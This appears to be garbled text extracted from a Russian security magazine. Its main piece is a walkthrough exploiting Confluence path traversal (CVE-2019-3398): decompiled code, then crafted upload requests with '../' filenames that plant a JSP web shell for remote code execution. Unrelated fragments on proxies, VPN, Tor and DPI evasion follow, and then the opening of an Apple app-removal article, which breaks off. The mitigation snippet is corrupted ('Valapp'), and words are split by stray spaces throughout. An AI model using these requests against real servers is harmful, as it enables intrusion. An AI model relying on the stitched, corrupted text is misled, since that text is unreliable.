.  Для  деком пиляции  я  вос поль зуюсь 

.

http://confluence.vh:8090/
pages/downloadallattachments.action?pageId=65601

DownloadAllAttachmentsOn‐
PageAction confluence/WEB‐INF/lib/conflu‐
ence‐6.9.0.jar ути литой  JD‐GUI  вер‐ 
сии 1.5

/com/atlassian/confluence/pages/actions/DownloadAllAttach-
mentsOnPageAction.java
01: package com.atlassian.confluence.pages.actions;
02:
...
18: public class DownloadAllAttachmentsOnPageAction extends Abstra
ctPageAwareAction {
19:   AttachmentManager attachmentManager;

Что бы сра зу опре делить, где кон крет но проб лема, мож но заг лянуть в этот же
файл, толь ко в про пат ченной вер сии, нап ример 6.12.4.

/confluence-
6.12.4/com/atlassian/confluence/pages/actions/DownloadAllAttach-
mentsOnPageAction.java
19: public class DownloadAllAttachmentsOnPageAction extends Abstra
ctPageAwareAction {
20:   AttachmentManager attachmentManager;
...
32:   public String execute() throws Exception {
33:     List<Attachment> latestAttachments = this.attachmentManager.
getLatestVersionsOfAttachments(getPage());
34:     for (Attachment attachment : latestAttachments) {
35:       File tmpFile = new File(getTempDirectoryForZipping(), 
ConfluenceFileUtils.extractFileName(attachment.getFileName()));

/confluence-
6.9.0/com/atlassian/confluence/pages/actions/DownloadAllAttach-
mentsOnPageAction.java
18: public class DownloadAllAttachmentsOnPageAction extends Abstra
ctPageAwareAction {
19:   AttachmentManager attachmentManager;
...
31:   public String execute() throws Exception {
32:     List<Attachment> latestAttachments = this.attachmentManager.
getLatestVersionsOfAttachments(getPage());
33:     for (Attachment attachment : latestAttachments) {
34:       File tmpFile = new File(getTempDirectoryForZipping(), 
attachment.getFileName());

Как видишь, вто рой параметр, который отве чает за имя атта ча, в новой вер‐ 
сии метода   филь тру ется при помощи  .execute extractFileName

/confluence-
6.12.4/com/atlassian/confluence/util/io/ConfluenceFileUtils.java
82:   public static String extractFileName(String pathname) {
83:     if (pathname == null)
84:       return null;
85:     return (new File(pathname)).getName();
86:   }

Зна чит, проб лема в име ни. Пос мотрим на содер жимое клас са 
, а имен но метод  .

DownloadAl‐
lAttachmentsOnPageAction execute

/com/atlassian/confluence/pages/actions/DownloadAllAttach-
mentsOnPageAction.java
31:   public String execute() throws Exception {
32:     List<Attachment> latestAttachments = this.attachmentManager.
getLatestVersionsOfAttachments(getPage());
33:     for (Attachment attachment : latestAttachments) {

Сна чала дан ные всех фай лов попада ют в мас сив  , затем
фун кция   переби рает его эле мен ты и чита ет содер жимое каж дого фай ла.
Обра ти вни мание,  что соз дает ся объ ект  типа File. Он  ука зыва ет на вре мен‐ 
ный файл, имя которо го экви вален тно име ни атта ча.

latestAttachments
for

/com/atlassian/confluence/pages/actions/DownloadAllAttach-
mentsOnPageAction.java
34:       File tmpFile = new File(getTempDirectoryForZipping(), 
attachment.getFileName());
35:       inputStream = this.attachmentManager.getAttachmentData(
attachment);

/com/atlassian/confluence/pages/Attachment.java
31: public class Attachment extends SpaceContentEntityObject implem
ents SearchableAttachment, Addressable, HasLinkWikiMarkup, Conten
tConvertible, Contained<ContentEntityObject> {
32:   public static final String PROP_MEDIA_TYPE = "MEDIA_TYPE";
...
75:   @Nonnull
76:   public String getFileName() { return getTitle(); }

/com/atlassian/confluence/core/ContentEntityObject.java
056: public abstract class ContentEntityObject extends Abstra
ctLabelableEntityObject implements Searchable, Comparable, Addres
sable, Content, RelatableEntity {
057:   public static final String CURRENT = "current";
...
153:   public String getTitle() { return this.title; }

Так же  соз дает ся  вре мен ная  дирек тория  для  хра нения  всех  необ ходимых
для сжа тия докумен тов.

/com/atlassian/confluence/pages/actions/DownloadAllAttach-
mentsOnPageAction.java
18: public class DownloadAllAttachmentsOnPageAction extends Abstra
ctPageAwareAction {
...
81:   private File getTempDirectoryForZipping() throws IOException {
82:     if (this.tempDirectoryForZipping == null) {
83:       this.tempDirectoryForZipping = new File(getConfluenceTe
mpDirectoryPath() + File.separator + getZipFilename());
84:       if (!this.tempDirectoryForZipping.exists()) {
85:         if (this.tempDirectoryForZipping.mkdirs())
86:           return this.tempDirectoryForZipping;
87:         throw new IOException("Could not create directory: " + 
this.tempDirectoryForZipping.getPath());
88:       }
89:     }
90:     return this.tempDirectoryForZipping;
91:   }

Эта  пап ка  находит ся  по  пути,  который  задан  нас трой кой 
.

webwork.multi‐
part.saveDir

/com/atlassian/confluence/pages/actions/DownloadAllAttach-
mentsOnPageAction.java
93:   private String getConfluenceTempDirectoryPath() throws Except
ion { return getBootstrapManager().getFilePathProperty("webwork.
multipart.saveDir"); }

По дефол ту это пап ка  , в кор не рабочей дирек тории Confluence.temp

/com/atlassian/confluence/setup/actions/SetupStartAction.java
19: public class SetupStartAction extends AbstractSetupAction implem
ents BootstrapAware {
...
73:   private boolean setupConfluenceHome() {
...
74:     String localHomeDir = "${localHome}" + System.getProperty(
"file.separator");
...
76:     String confluenceTempDir = localHomeDir + "temp";
...
82:       bootstrapManager.setProperty("webwork.multipart.saveDir", 
confluenceTempDir);

Имя пап ки генери рует ся по шаб лону:

download<5_рандомных_цифр_букв><час><минута><секунда>

Нап ример, это может быть  .download2d2s3171652.zip

/com/atlassian/confluence/pages/actions/DownloadAllAttach-
mentsOnPageAction.java
95:   private String getZipFilename() throws Exception {
96:     if (this.zipFilename == null)
97:       this.zipFilename = MessageFormat.format("download{0}{1,
time,HHmmss}", new Object[] { RandomGenerator.randomString(5), new 
Date() });
98:     return this.zipFilename;
99:   }

Пос ле  того  как  вре мен ный  файл  соз дан,  в  него  перено сит ся  содер жимое
прик реплен ного фай ла.

/com/atlassian/confluence/pages/actions/DownloadAllAttach-
mentsOnPageAction.java
37:       try {
38:         fileOutputStream = new FileOutputStream(tmpFile);
39:         throwable1 = null;
40:         try {
41:           ByteStreams.copy(inputStream, fileOutputStream);
...
49:                 fileOutputStream.close();
...
64:               inputStream.close();

Ког да  все  атта чи  обра бота ны,  вре мен ная  пап ка  запако выва ется  в  архив
и отда ется кли енту.

/com/atlassian/confluence/pages/actions/DownloadAllAttach-
mentsOnPageAction.java
73:     File zipFile = new File(getConfluenceTempDirectoryPath() + 
File.separator + getZipFilename() + ".zip");
74:     FileUtils.createZipFile(getTempDirectoryForZipping(), zipFile
);
75:     FileUtils.deleteDir(getTempDirectoryForZipping());
76:     this.downloadPath = prepareDownloadPath(zipFile.getPath()) + 
"?contentType=application/zip";
77:     this.gateKeeper.addKey(prepareDownloadPath(zipFile.getPath())
, getAuthenticatedUser());
78:     return "success";

Та ким  обра зом,  если  получит ся  манипу лиро вать  име нем  фай ла,  то  мож но
будет соз дать файл в про изволь ном мес те, куда раз решена запись. Пер вое,
что при ходит  на  ум, — поп робовать  вста вить  конс трук цию   при заг рузке
фай ла.  Одна ко  такой  фокус  не  прой дет,  так  как  по  дефол ту  исполь зует ся
обра бот чик  ,  а  он  выпол няет  филь тра цию  имен
заг ружа емых атта чей с помощью метода  .

../

JakartaMultiPartRequest
getCanonicalName

/com/atlassian/confluence/pages/actions/AttachFileAction.java
24: public class AttachFileAction extends ConfluenceActionSupport 
implements ServletRequestAware, Beanable {
...
74:   public String execute() {
75:     AttachmentUploadRequest uploadRequest = new AttachmentUploa
dRequest((MultiPartRequestWrapper)this.request);

Продолжение статьи →

https://twitter.com/iamsecurity
https://lv.linkedin.com/in/janis-krusts-83ab3436
https://nvd.nist.gov/vuln/detail/CVE-2019-3398
https://confluence.atlassian.com/doc/confluence-security-advisory-2019-04-17-968660855.html
https://www.atlassian.com/software/confluence/downloads/binary/atlassian-confluence-6.9.0-x64.exe
https://github.com/java-decompiler/jd-gui


СЛИВАЕМ CONFLUENCE
КАК ЭКСПЛУАТИРОВАТЬ PATH TRAVERSAL

И RCE В КОРПОРАТИВНОЙ ВИКИ

ВЗЛОМ  НАЧАЛО СТАТЬИ←

/com/atlassian/confluence/pages/actions/AttachmentUpload-
Request.java
12: public class AttachmentUploadRequest {
13:   private List<AttachmentResource> resources;
...
15:   public AttachmentUploadRequest(MultiPartRequestWrapper request)
throws IllegalStateException {

16:     if (request.hasErrors())
17:       throw new IllegalStateException("Client should check for 
errors in the multi‐part request");
18:     this.resources = toUploadedResources(request);
19:   }
...
21:   private static List<AttachmentResource> toUploadedResources(
MultiPartRequestWrapper request) {
22:     List<String> fileParameterNames = Collections.list(request.
getFileParameterNames());
23:     List<AttachmentResource> result = new ArrayList<Attach
mentResource>();
...
26:       String[] filenames = request.getFileNames(parameterName);

/com/atlassian/confluence/setup/webwork/JakartaMultiPartRequest.-
java
113:   public String[] getFileNames(String fieldName) {
...
120:     for (int i = 0; i < items.size(); i++) {
121:       DiskFileItem fileItem = (DiskFileItem)items.get(i);
122:       fileNames.add(getCanonicalName(fileItem.getName()));

/com/atlassian/confluence/setup/webwork/JakartaMultiPartRequest.-
java
159:   private String getCanonicalName(String filename) {
160:     int forwardSlash = filename.lastIndexOf("/");
161:     int backwardSlash = filename.lastIndexOf("\\");
162:     if (forwardSlash != ‐1 && forwardSlash > backwardSlash) {
163:       filename = filename.substring(forwardSlash + 1, filename.
length());
164:     } else if (backwardSlash != ‐1 && backwardSlash >= forwar
dSlash) {
165:       filename = filename.substring(backwardSlash + 1, filename.
length());
166:     }
167:     return filename;
168:   }

В резуль тате оста ется лишь часть пос ле пос ледне го сле ша.
Так же  мож но  менять  имя  фай ла  пря мо  в  интерфей се  редак тирова ния

атта ча, но и там зап рещены раз личные спец симво лы.

/com/atlassian/confluence/pages/actions/MoveAttachmentAction.java
033: public class MoveAttachmentAction extends AbstractPageAwa
reAction implements BootstrapAware, ContentDetailAction, Breadc
rumbAware {
...
048:   private static final char[] INVALID_CHARS = { '\\', '/', '"', 
':', '?', '*', '<', '|', '>' };
...
110:   public void validate() {
...
114:     if (StringUtils.containsAny(this.newFileName, INVALID_CHARS)
)
115:       addFieldError("rename", getText("filename.contain.invalid.
character"));

Не удач ная попыт ка path traversal через редак тирова ние име ни фай ла
атта ча в Confluence

Но есть мес то, где филь тра ция начис то отсутс тву ет. Это заг рузка через пла‐ 
гин  . Нап ример, он исполь зует ся при добав лении фай ла пря‐ 
мо в редак торе кон тента.

drag‐and‐drop

Прик репле ние фай ла к записи в редак торе

Путь  к  самому  jar  — 
.

/confluence/WEB‐INF/atlassian‐bundled‐plugins/
confluence‐drag‐and‐drop‐6.9.0.jar

/com/atlassian/confluence/plugins/dragdrop/UploadAction.java
33: public class UploadAction extends ConfluenceActionSupport implem
ents Beanable, ServletRequestAware {
...
70:   public void validate() {
71:     super.validate();
72:     if (StringUtils.isBlank(this.filename))
73:       addActionError(getText("upload.filename.cannot.be.blank"));
74:     long maxUploadSize = this.settingsManager.getGlobalSettings()
.getAttachmentMaxSize();
75:     if (this.size > maxUploadSize) {
76:       ServletActionContext.getResponse().setStatus(413);
77:       String error = getText("upload.size.limit.exceeded", Immuta
bleList.of(FileSize.format(this.size), FileSize.format(maxUploadSize
)));
78:       addActionError(error);
79:     }
80:   }
...
122:       InputStream inStream = getStreamForEncoding(this.httpSe
rvletRequest);
123:       this.fileUploadManager.storeResource(new InputStreamAtta
chmentResource(inStream, this.filename, this.mimeType, this.size, 
null, this.minorEdit), content);

Как  видишь,  про верок  тут  нем ного,  и  имя  фай ла  попада ет  в  сис тему
без какой‐либо филь тра ции.

Пе рех ватыва ем пакет на заг рузку фай ла и меня ем параметр  .filename

POST /plugins/drag‐and‐drop/upload.action?pageId=65601&
filename=../../dummy.txt&size=1&minorEdit=true&spaceKey=VIS&
mimeType=text%2Fplain&atl_token=e1c7ebd71a275bd60862b8639b49043d2
d820c3c&name=dummy.txt HTTP/1.1
Host: confluence.vh:8090
Content‐Length: 1
Content‐Type: application/octet‐stream
Accept: */*

1

Зап рос на прик репле ние фай ла через пла гин drag‐and‐drop

Файл успешно прик репил ся. Пос мотрим, как это выг лядит в интерфей се.

Path traversal в Confluence через имя прик репля емо го фай ла

Пос ле  нажатия  кноп ки Download All  в  рабочей дирек тории Confluence будет
соз дан файл   c ука зан ным при заг рузке содер жимым.dummy.txt

Даль ше  уже  тебе  решать,  как  исполь зовать  най ден ную  уяз вимость.  Если
зна ешь, где рас положен веб‐рут Confluence, то счи тай, что RCE у тебя в кар‐ 
мане.  В  кон тей нере  Docker  по  дефол ту  это 

. Вла дель цем поч ти всех папок и фай лов явля ется поль зователь,
от име ни которо го запущен веб‐сер вер Tomcat.

/opt/atlassian/confluence/
confluence

Вла делец фай лов и поль зователь, от име ни которо го запущен Apache
Tomcat, один и тот же

По это му берем любой JSP‐шелл, нап ример  , и через баг
заг ружа ем его по ука зан ному выше пути.

Laudanum JSP Shell

POST /plugins/drag‐and‐drop/upload.action?pageId=65601&
filename=../../../../../../../../../opt/atlassian/confluence/conflu
ence/dummy.jsp&size=1&minorEdit=true&spaceKey=VIS&
mimeType=text%2Fplain&atl_token=e1c7ebd71a275bd60862b8639b49043d2
d820c3c&name=dummy.txt HTTP/1.1
...

Ос талось  толь ко  нажать  на  кноп ку  для  соз дания  архи ва,  что бы  получить
рабочий  веб‐шелл.  Перехо дим  по  URL 
и наб люда ем окно для вво да команд.

http://confluence.vh:8090/dummy.jsp

Ус пешная экс плу ата ция RCE‐уяз вимос ти через path traversal
в Confluence

ДЕМОНСТРАЦИЯ УЯЗВИМОСТИ (ВИДЕО)

ЗАЩИТА
Как  ты  понима ешь,  уяз вимость  более  чем  серь езная:  недоб росовес тный
или  ском про мети рован ный  сот рудник  может  с  лег костью  получить  дос туп
к  сер веру  Confluence.  Если  в  тво ей  ком пании  сто ит  уяз вимая  вер сия,  то
как  мож но  ско рее  обновляй  ее  на  про пат ченную.  Если  же  это  почему‐то
невоз можно,  то вос поль зуйся вре мен ным решени ем — можешь заб локиро‐ 
вать экшен заг рузки всех атта чей. Для это го нуж но оста новить сер вер Conflu‐
ence и отре дак тировать файл  , добавив
в него стро ки:

<confluence_dir>/conf/server.xml

<Context path="/pages/downloadallattachments.action" docBase="" >
   <Valapp className="org.apache.catalina.valapps.RemoteAddrValapp" 
deny="*" />
</Context>

Пос ле  это го  заг рузка  архи ва  с  прик реплен ными  фай лами  ста нет  недос‐ 
тупной,  при  этом  отдель ная  заг рузка  каж дого  атта ча  по‐преж нему  будет
работать.

https://github.com/danielmiessler/SecLists/blob/master/Web-Shells/laudanum-0.8/jsp/warfiles/cmd.jsp
http://confluence.vh:8090/dummy.jsp
https://vimeo.com/339033355
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ПРИВАТНОСТЬ

Не важ но,  по  каким  при чинам  ты  решил  шиф ровать  то,  что
пересы лаешь через интернет. Это может быть забота о сек‐ 
ретнос ти  лич ных  дан ных,  попыт ка  обой ти  зап реты  того
или  ино го  государс тва  или  дру гие мотивы.  В  сов ремен ном
мире прос тым людям дос тупен неп лохой выбор крип тостой‐ 
ких  шиф рован ных  про токо лов  и  прог рамм,  которые  их
реали зуют.  В  этой  статье  мы  прой дем ся  по  всем  клас сам
таких  решений  (пусть  мно гие  из  них  и  широко  извес тны),
обсу дим  надеж ность  и  пос мотрим,  какие  дос тупны  реали‐ 
зации.

ПРОКСИ-СЕРВЕРЫ
Прок си‐сер веры — самый дос тупный  спо соб  ано ними зиро вать  тра фик:  они
дешевы  и  широко  рас простра нены.  Их  прин цип  работы  очень  прост:  прок‐ 
си — это поч таль он, который дос тавля ет кон верты с пись мами вмес то тебя,
акку рат но сти рая имя отпра вите ля, и воз вра щает ответ лич но тебе в руки.

Из началь но  эта  тех нология  была  приз вана  защищать  внут ренние  кор‐ 
поратив ные  сети  от  осталь ного  интерне та  (сот рудни ки  получа ли  дос туп
из  внут ренней  сети  в  интернет  через  шлюз),  но  ста ла  исто ричес ки  пер вым
спо собом ано ними зиро вать тра фик.

Схе ма работы прок си‐сер вера

Ра ботая  через  прок си,  компь ютер  все  свои  зап росы  перенап равля ет  через
пос редни ка  (прок си‐сер вер), и  уже пос редник, пред став ляясь  тво им компь‐ 
юте ром, зап рашива ет дан ные у сай тов. Прок си‐сер веры узкоспе циали зиро‐ 
ваны, поэто му на каж дый тип интернет‐соеди нения име ется свой тип прок си.
Нап ример, для FTP (File Transfer Protocol) есть FTP‐прок си. Под робно мы раз‐ 
берем три типа прок си‐сер веров.

 могут работать  толь ко с зап росами HTTP, а вся раз ница
меж ду ними в том, что HTTPS шиф рует переда ваемые дан ные, а HTTP — нет.
Поэто му  прок си  HTTP  не  рекомен дуют ся  к  поль зованию,  они  могут  лишь
менять адрес  IP, а дан ные защитить они нес пособ ны. Так же будь осто рожен
с выбором самого прок си‐сер вера, так как некото рые не толь ко не защитят
твои дан ные, но и могут рас крыть лич ность.

HTTP и HTTPS

INFO

Об ращай вни мание на тип сер вера — transparent
proxy  или  anonymous  proxy.  Пер вые  не  будут
скры вать твою лич ность!

Ис поль зовать такой прок си нес ложно: най ди в интерне те или соз дай сер вер,
которо му смо жешь доверять, и, открыв нас трой ки бра узе ра  (дос туп  к  сети),
вве ди дан ные.

 при меня ется в тех при ложе ниях, которые либо не исполь зуют
HTTP  и  HTTPS,  либо  не  име ют  встро енной  под дер жки  прок си‐сер веров.
В отли чие от пре дыду щего типа, этот апри ори не будет пуб ликовать твой  IP,
поэто му  об  ано ним ности  мож но  не  бес поко ить ся.  Одна ко  SOCKS  сам
по  себе  не  пре дос тавля ет  никако го  шиф рования,  это  лишь  тран спортный
про токол. Что бы при менять его, есть, нап ример, ути лита Shadowsocks.

Тип SOCKS

SOCKS4  и  SOCKS5  —  это  раз ные  вер сии  сер веров.  Убе дитель но
рекомен дую  исполь зовать  пятую  вер сию,  так  как  она  име ет  мно го  воз‐ 
можнос тей  и  более  безопас на.  Нап ример,  под держи вает  исполь зование
логина и пароля, зап росы DNS. А луч ше даже исполь зовать   —
это SOCKS5  на  сте роидах.  Тут  есть  и мощ ное шиф рование,  и  скры тие  тра‐ 
фика, и воз можность обхо дить раз личные бло киров ки. Есть  кли енты как для
компь юте ра,  так  и  для  смар тфо на,  поз воля ющие  оста вать ся  под  защитой
пос тоян но.

Shadowsocks

Что бы  начать  исполь зовать  SOCKS  в  при выч ных  прог раммах,  не  нуж но
ничего  осо бен ного.  В  Firefox  и  μTorrent  эта  фун кция  встро ена  и  дос тупна
в нас трой ках. Для Google Chrome есть рас ширение  . Мож но вос‐ 
поль зовать ся уни вер саль ными прог рамма ми вро де   или  .

Proxy Helper
SocksCap ProxyCap

Спи сок  мно жес тва  бес плат ных  HTTP,  HTTPS  и  SOCKS  прок си‐сер веров
мож но най ти либо с помощью поис ка, либо  .в Википе дии

VPN
VPN  (Virtual  Private  Network  —  вир туаль ная  час тная  сеть)  так же  изна чаль но
не задумы валась как средс тво защиты и ано ними зации тра фика. Ее задачей
было  объ еди нить  компь юте ры  в  еди ную  сеть,  даже  если  они  находят ся
за  мно жес тво  километ ров  друг  от  дру га.  Клю чевой  осо бен ностью  ста ло  то,
что  соеди нения  VPN  всег да  защища лись  шиф ровани ем,  так  как  исполь‐ 
зовались  в  кор пораци ях  и  поз воляли  под клю чать  нес коль ко  фили алов
к голов ному офи су.

VPN име ет два режима: объ еди нение двух локаль ных сетей меж ду собой
через интернет и под клю чение отдель ного компь юте ра к  уда лен ной локаль‐ 
ной  сети  (уда лен ный  дос туп).  Пос ледний  и  пос лужил  осно вой  для  неком‐ 
мерчес кого, пер сональ ного вари анта. Защита дан ных в соеди нении VPN пре‐ 
дос тавля ется дву мя тех никами, которые зачас тую исполь зуют ся вмес те:

  (Point‐to‐Point  Protocol)  исполь зует ся  для  защиты  на  уров не  канала
дан ных, то есть на самом низ ком из воз можных. Его задача — обес печить
ста биль ное  соеди нение меж ду  дву мя  точ ками  в  интерне те,  а  так же  пре‐ 
дос тавить шиф рование и аутен тифика цию.

• PPP

  (Point‐to‐Point  Tunneling  Protocol)  явля ется  рас ширени ем  и  допол‐ 
нени ем  PPP.  Для  работы  это го  про токо ла  уста нав лива ется  два  соеди‐ 
нения — основное и управля ющее.

• PPTP

Из‐за того что при думан этот про токол был в далеком 1999 году его безопас‐ 
ность оставля ет желать  луч шего. Ни один из методов шиф рования,  работа‐ 
ющих  с  PPTP,  не  устой чив.  Часть  из  них  под верже на  рас шифров ке  даже
в  авто мати чес ком  режиме.  Потому  я  не  советую  исполь зовать  PPTP.  Этот
про токол  име ет  серь езные  уяз вимос ти  как  в  аутен тифика ции,  так  и  в  шиф‐ 
ровании и поз воля ет зло умыш ленни ку очень быс тро вскрыть канал и получить
дос туп к дан ным.

Бо лее новый спо соб соз дания соеди нения — еще один про токол, пос тро‐ 
енный поверх PPP, —  . Цель это го про‐ 
токо ла  —  не  столь ко  защитить  соеди нение,  сколь ко  пол ностью  рег ламен‐ 
тировать про цесс сооб щения компь юте ров в сети. Дан ный про токол,  кро ме
соз дания соеди нений VPN, так же исполь зует ся, нап ример, для под клю чения
бан коматов к офи сам бан ков, что слу жит некото рой гаран тией. Хотя и сто ит
учесть, что собс твен ного шиф рования у L2TP нет.

L2TP (Layer 2 Tunneling Protocol)

L2TP  не  защища ет  сами  дан ные,  переда ваемые  в  его  рам ках. Для  это го
обыч но  исполь зует ся  про токол  .  Он  приз ван  защищать
содер жимое  пакетов  IP  и  бла года ря  это му  может  шиф ровать  любые  виды
соеди нений.  Для  VPN  из  двух  воз можных  режимов  исполь зует ся  лишь  тун‐ 
нель ный, защища ющий не толь ко дан ные переда ваемо го пакета в сети, но и
его заголов ки. Бла года ря это му со сто роны не будет вид но, кто отпра витель
дан ных.

IPsec  (IP  security)

  —  стро гие  алго рит мы  шиф‐ 
рования  и  защиты  дан ных,  переда ваемых  по  информа цион ному  каналу.
Исполь зует ся исклю читель но с IPsec, так как явля ется его защит ным сло ем —
имен но  бла года ря  IKE  дан ные  в  соеди нении  оста ются  под  зам ком.
В  общем‐то,  эти  алго рит мы  и  пос лужили  осно вой  для  раз вития  всех  сов‐ 
ремен ных  средств  и  ути лит  соз дания  соеди нений  VPN,  но  нас тало  вре мя
погово рить о том, что и из чего выбирать.

IKE  и  IKEv2  (Internet  Key  Exchange)

С  рас простра нени ем  SSL  и  TLS  про токол  PPP  был  рас ширен  до 
  и  в  таком  виде  работа ет  не  через

откры тое  соеди нение,  а  по  SSL.  Это  гаран тиру ет  надеж ное  шиф рование
и  защиту  от  потери  пакетов.  Но  сто ит  учи тывать,  что  SSTP  был  раз работан
в  Microsoft,  а  Microsoft  сот рудни чает  с  пра витель ства ми,  поэто му  доверять
SSTP мож но толь ко с уче том это го.

SSTP

(Secure  Socket  Tunneling  Protocol)

  —  самое  популяр ное  решение  для  соз дания  защищен ного
соеди нения. Этот про токол открыт и пре дос тавля ет самую серь езную защиту,
поэто му ему мож но доверять. Нас трой ка соеди нения вряд ли зай мет боль ше
пары минут.

OpenVPN

 — муль тик лиент для работы  как с опи сан ными выше про токо‐ 
лами, вклю чая OpenVPN, так и со сво им собс твен ным, не менее безопас ным,
чем OpenVPN.

SoftEther

В таб лице ниже — неболь шое резюме по этим решени ям.

Срав нение про токо лов VPN

TOR
 — одно из луч ших средств для обес печения ано‐ 

ним ности  в Сети. Схе ма работы под разуме вает  трех крат ную  защиту дан ных
и ано ними зацию тра фика.

Tor (The Onion Router)

Как  опи сано  в  самом  наз вании,  Tor  исполь зует  так  называ емую  луковую
мар шру тиза цию:  твои  дан ные —  это  сер дце вина  лука,  а  их  защита —  слои
вок руг.  Так,  каж дый  из  про межу точ ных  сер веров  Tor  сни мает  свой  слой
защиты, и толь ко тре тий, пос ледний из них, дос тает сер дце вину и отправ ляет
зап рос в интернет.

Схе ма работы компь юте ра в сети Tor

Ра боту  всей  сис темы  обес печива ют  тысячи  энту зиас тов  по  все му  миру,
борющи еся за пра ва челове ка и при ват ность. Бла года ря это му для каж дого
отдель ного  сай та  стро ится  собс твен ная  цепоч ка  про межу точ ных  сер веров
Tor, что дает пол ную защиту: каж дый сайт — новая лич ность.

Боль шой плюс Tor — ста биль ность работы и боль шая забота об ано ним‐ 
ности: бла года ря усер диям мно гих спе циалис тов он работа ет даже в Китае,
стра не, которая широко извес тна сво им стро жай шим под ходом к бло киров‐ 
кам и наказа ниями за их обход.

Для  упро щения  жиз ни  поль зовате лям  раз работ чики  соз дали 
,  осно ван ный  на  Firefox,  и  улуч шили  его  допол нени ями,  зап реща‐ 

ющи ми сай там сле дить за тобой. Нап ример,   зас тавля ет
веб‐сай ты  исполь зовать  шиф рование,  а    отклю чает  выпол нение
скрип тов  на  стра нице, фак тичес ки  зап рещая  собирать  любые дан ные поль‐ 
зовате ля.

Tor

Browser

HTTPS Everywhere

NoScript

Ска чать Tor, как и при лага ющий ся к нему бра узер, мож но на офи циаль ном
сай те про екта  .Tor Project

DPI
К  сожале нию,  все  эти  средс тва  могут  ока зать ся  бес полез ными,  если  твой
про вай дер  начал  бло киров ки  с  при мене нием 

 —  сис темы  глу боко го  ана лиза  сетево го  тра фика.  Цель  DPI —  отбра‐ 
сывать все, что не похоже на работу обыч ного челове ка за обыч ным компь‐ 
юте ром, то есть бло киро вать любую подоз ритель ную активность. А все спо‐ 
собы  ано ними зации  тра фика  апри ори  подоз ритель ны,  поэто му  прог раммы
зачас тую дают сбои или в прин ципе отка зыва ются работать.

DPI  (Deep  Packet  Inspec-

tion)

Но и с этим мож но бороть ся. Поч ти для каж дой из опи сан ных воз можнос‐ 
тей  защищать  канал  свя зи  есть  надс трой ки,  помога ющие  обхо дить  зор кое
око  ана лиза торов  DPI.  Нап ример,  Shadowsocks  име ет  встро енную  защиту
от  DPI  и  прит воря ется,  что  выпол няет  обыч ное  под клю чение  к  уда лен ному
сер веру.

OpenVPN сам по себе лег ко раз личим, но   поз воля ет так же обой ти
ана лиз пакетов. Stunnel мас киру ет  канал VPN под соеди нение SSL,  которое
с виду безобид но: это может быть и прос той бра узер,  который обра щает ся
к  сай ту  по HTTPS.  Бла года ря  это му  заб локиро вать  такой  тун нель  неп росто.
Если перес тарать ся, мож но заб локиро вать вооб ще все.

stunnel

INFO

Под робнее о нас трой ке OpenVPN и stunnel читай
в  статье  «

».

Твой  тай ный  тун нель.  Деталь ный  гайд
по  нас трой ке  OpenVPN  и  stunnel  для  соз дания
защищен ного канала

Об ходить DPI  так же  помога ет  ,  режим,  вве ден ный  в  вер сии Open‐
VPN 2.4, который шиф рует тра фик VPN.

tls-crypt

Соз датели  Tor  Browser  спе циаль но  работа ют  над  обхо дом  средств  ана‐ 
лиза  DPI.  При  под клю чении  к  сети  Tor  мож но  вос поль зовать ся  тран спор‐ 
том‐прос лой кой,  которая  обес печива ет  бес пре пятс твен ное  под клю чение
к  пер вому  сер веру  защищен ной  сети.  Этот  тран спорт  мож но  либо  выб рать
из  спис ка  (это  обще дос тупные  сер веры),  либо  получить  пер сональ ный
на офи циаль ном сай те  .Tor Bridges

Луч ше все го себя показы вает   — это обфуска тор, переме шива ющий
переда ваемые дан ные так, что в сети их нель зя опре делить. DPI обыч но про‐ 
пус кает такие пакеты, пос коль ку не может пред положить, что находит ся внут‐ 
ри.

obfs4

Еще есть нес коль ко прог рамм, которые пыта ются тем или иным спо собом
обма нуть ана лиз пакетов, нап ример раз бивая их на мел кие час ти или меняя
заголов ки. В их чис ле   или   с прос тым гра фичес ким
интерфей сом — они не скры вают ни IP, ни дан ные, но обхо дят бло киров ку.

GoodbyeDPI Green Tunnel

Кар диналь ным  решени ем  мож но  счи тать  про ект  ,  его  рус ское
опи сание есть на  . Это палоч ка‐выруча лоч ка в мире безопас ности дан‐ 
ных.  Эта  ути лита  все го  за  нес коль ко  минут  раз верты вает  и  нас тра ивает
на уда лен ном сер вере сра зу нес коль ко сер висов для защиты дан ных, а так же
дает под робную инс трук цию по ним.

Streisand
GitHub

ИТОГ
Для сох ранения нашей с  тобой интернет‐безопас ности и ано ним ности при‐ 
дума но мно жес тво тех нологий самого раз ного уров ня. Часть из них про вере‐ 
на вре менем, дру гая помога ет про тив новей ших методов цен зуры. Бла года ря
это му мы еще можем оста вать ся невиди мыми, нуж но лишь не забывать поль‐ 
зовать ся этой воз можностью.
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ПРИВАТНОСТЬ

В  кон це  апре ля  в  средс твах  мас совой
информа ции про кати лась оче ред ная вол на
пуб ликаций на тему «Apple унич тожа ет кон‐ 
курен цию».  На  сей  раз  скан дал  породи ла
статья  с  про вока цион ным  заголов ком
«

»,  опуб ликован‐ 
ная  в  New  York  Times.  Авто ры  обви нили
Apple  в  нечес тной  кон курен ции  прос то
на  осно вании  того,  что  ком пания  уда лила
из  App  Store  при ложе ния,  поз воля ющие
кон тро лиро вать  вре мя  исполь зования
смар тфо на и его фун кций.

Apple рас пра вилась с при ложе ниями про‐ 
тив  зависи мос ти  от  iPhone

Но идет ли речь о нечес тной игре, или же при ложе ния дей стви тель но пред‐ 
став ляли опас ность? Поп робу ем разоб рать ся.

В ЧЕМ ОБВИНЯЮТ APPLE
Об винения,  выд винутые  про тив  Apple,  мож но  доволь но  чет ко  струк туриро‐ 
вать.  Авто ры  ори гиналь ной  статьи  в  NY  Times  заняли  сле дующую  позицию.
С  точ ки  зре ния  жур налис тов,  раз работ чики  ряда  при ложе ний  с  тысяча ми
плат ных  (что  осо бо  под чер кну то)  кли ентов  пред лагали  решения,  поз воля‐ 
ющие  поль зовате лям  бороть ся  с  зависи мостью  от  гад жетов.  В  некото рых
слу чаях речь шла и о при ложе ниях, поз воляв ших родите лям, цитиру ем, «кон‐ 
тро лиро вать  устрой ства собс твен ных детей или бло киро вать дос туп  к опре‐ 
делен ным при ложе ниям и кон тенту 18+».

По мне нию жур налис тов  (и  дав ших  жур налис там  интервью  про изво дите‐ 
лей уда лен ных при ложе ний), в Apple пос тупили так потому, что в  iOS появи‐ 
лась встро енная под систе ма «Экранное вре мя», взяв шая на себя часть фун‐ 
кций  заб локиро ван ных  при ложе ний.  Даль нейшее  содер жимое  статьи  мало‐ 
инте рес но и пред став ляет собой типич ный при мер аме рикан ской жур налис‐ 
